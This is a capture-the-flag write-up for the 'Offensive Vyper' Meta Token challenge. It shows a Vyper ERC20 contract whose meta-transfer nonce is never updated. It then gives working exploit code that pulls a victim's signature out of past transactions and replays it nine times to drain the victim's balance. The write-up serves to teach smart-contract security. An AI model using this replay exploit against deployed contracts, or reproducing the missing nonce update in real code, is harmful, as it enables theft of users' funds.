Solution for “Offensive Vyper - Challenge 7 - Meta Token”.
1) Challenge
Description
The Meta Tx contract is an ERC20 token with a builtin meta-transaction-based transfer. Another user has graciously made a meta-transfer to your account. Your objective is to drain their entire balance.
Challenge created by @jtriley_eth.
2) Code Review
There is only one contract, MetaToken.vy
(source code) that implements a proxy contract.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
# @version ^0.3.2
"""
@title Token with Meta Transaction Support
@author jtriley.eth
"""
from vyper.interfaces import ERC20
implements: ERC20
event Transfer:
sender: indexed(address)
receiver: indexed(address)
amount: uint256
event Approval:
owner: indexed(address)
spender: indexed(address)
amount: uint256
name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
totalSupply: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
nonce: public(uint256)
@external
def __init__(name: String[32], symbol: String[32], initial_supply: uint256):
self.name = name
self.symbol = symbol
self.decimals = 18
self.balanceOf[msg.sender] = initial_supply
self.totalSupply = initial_supply
@external
def transfer(receiver: address, amount: uint256) -> bool:
assert receiver != ZERO_ADDRESS, "zero address receiver"
self.balanceOf[msg.sender] -= amount
self.balanceOf[receiver] = unsafe_add(self.balanceOf[receiver], amount)
log Transfer(msg.sender, receiver, amount)
return True
@external
def approve(spender: address, amount: uint256) -> bool:
self.allowance[msg.sender][spender] = amount
log Approval(msg.sender, spender, amount)
return True
@external
def transferFrom(sender: address, receiver: address, amount: uint256) -> bool:
if (msg.sender != sender):
self.allowance[sender][msg.sender] -= amount
self.balanceOf[sender] -= amount
self.balanceOf[receiver] = unsafe_add(self.balanceOf[receiver], amount)
log Transfer(sender, receiver, amount)
return True
@external
def metaTransfer(
sender: address,
receiver: address,
amount: uint256,
v: uint256,
r: uint256,
s: uint256
) -> bool:
"""
@notice Transfers `amount` on `sender`'s behalf to `receiver`. Transfer is authenticated with an
offchain EC digital signature. Signature components `v`, `r`, and `s` can be generated using
client libraries are passed to `ecrecover` builtin. If `sender` does not match the recovered
signer, the signature is invalid. A nonce is added to protect against replay attacks.
@param sender Address from which to transfer.
@param receiver Address to which to transfer.
@param amount Amount to transfer.
@param v Recovery component of ECDSA.
@param r ECDSA 'R' coordinate.
@param s ECDSA 'S' coordinate.
"""
hash: bytes32 = keccak256(
concat(
convert(sender, bytes32),
convert(receiver, bytes32),
convert(amount, bytes32),
convert(self.nonce, bytes32)
)
)
message: bytes32 = keccak256(
concat(
b"\x19Ethereum Signed Message:\n32",
hash
)
)
signer: address = ecrecover(message, v, r, s)
assert signer == sender, "invalid sender"
self.balanceOf[sender] -= amount
self.balanceOf[receiver] = unsafe_add(self.balanceOf[receiver], amount)
return True
|
Contract main functions:
transfer
decreases the balanceOf
variable for msg.sender
and increases it for receiver
with the amount transferred
approve
approves the spender
to spend the amount
on behalf of msg.sender
transferFrom
, similar to transfer
, but it first checks if the sender is approved to transfer the amount
metaTransfer
is the core function of this contract:
- computes a
hash
by concatenating the sender
, receiver
, amount
and self.nonce
values (after they are converted to bytes32
) - lines 92-99
- computes the
keccak256
hash of the string b"\x19Ethereum Signed Message:\n32"
concatenated with the hash previously computed - lines 101-106
- calls
ecrecover
with message
, v
, r
and s
parameters to recover the signer
of the message (line 108
)
- checks if the
signer
is equal to the sender
parameter (line 109
)
- if the
signer
is equal to sender
, it transfers the amount
from sender
to receiver
(it updates the balances in balanceOf
) - lines 111-112
Looking at the project setup, we can see that alice
calls the metaTransfer
to transfer 10
tokens to our attacker address (setup). It computes the values for v
, r
and s
by calling the splitSignature
(lines 37-39
- setup) that in turn accepts a messageHash
that is computed from the alice
address, the attacker
address, the nonce
variable from the contract and the amount to transfer (i.e. 10
).
Our goal is to drain all the tokens from alice
account.
Question
How is the signer verified?
The signer is verified by calling ecrecover
with the provided parameters (v
, r
, s
) and the hash message.
Tip
The @dev
comment for the metaTransfer
says:
A nonce is added to protect against replay attacks.
A nonce
variable in the contract is read to compute the message, but it is never updated. It will always be 0
, so a replay attack is possible.
If we know the values of v
, r
, and s
, we can reuse them and perform the same transfer. The other information used to build the message is sender
(alice
address), receiver
(attacker
address), amount
(10
) and self.nonce
(0
).
Question
How can we recover function parameters?
The parameters passed to metaTransfer
(and thus to ecrecover
) are part of the transaction data, so it’s possible to retrieve them.
The nonce
is never updated, so we can reply to the same message sent by alice
and thus update the balance of our attacker. Since alice
has 100
tokens and 10
are already sent to our attacker address during the challenge setup, if we call (i.e. reply) the metaTransfer
function 9
times with the same data, we will be able to drain all the alice
tokens (each transaction will increase the balances
of our attacker by 10
tokens).
3) Solution
The solution consists of the following steps:
- traverse the latest blocks until we find the block containing the transaction done by
alice
where the metaTransfer
function is called
- extract the parameters passed to
metaTransfer
that are sender
, receiver
, amount
, v
, r
, and s
- pass these values to our exploit contract that will call
metaTransfer
for 9
times
meta-token.challenge.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
it('Exploit', async function () {
// YOUR EXPLOIT HERE
let exploit = await (await ethers.getContractFactory('MetaTokenExploit', deployer)).deploy(this.token.address)
const iface = new ethers.utils.Interface(['function metaTransfer(address sender, address receiver, uint256 amount, uint256 v, uint256 r, uint256 s)'])
const provider = attacker.provider
let done = false;
// iterate over latest blocks
for(let blockNumber = 0; blockNumber < (await provider.getBlockNumber()); blockNumber++) {
// get transactions hash
let transactions = (await provider.getBlock(blockNumber)).transactions
for(const txHash of transactions) {
try {
// get the tx data ...
let txData = (await provider.getTransaction(txHash)).data
// ... and try to decode it
let {sender, receiver, amount, v, r, s} = iface.decodeFunctionData('metaTransfer', txData)
expect(sender).to.be.equal(alice.address)
expect(receiver).to.be.equal(attacker.address)
await exploit.connect(attacker).run(sender, attacker.address, amount, v, r, s);
done = true;
} catch {}
}
if(done) break
}
})
|
MetaTokenExploit.vy
:
1
2
3
4
5
6
7
8
9
10
11
12
|
# YOUR EXPLOIT HERE
@external
def run(
sender: address,
receiver: address,
amount: uint256,
v: uint256,
r: uint256,
s: uint256
):
for i in range(9):
Token(self.target).metaTransfer(sender, receiver, amount, v, r, s)
|
You can find the complete code here and here.
4) References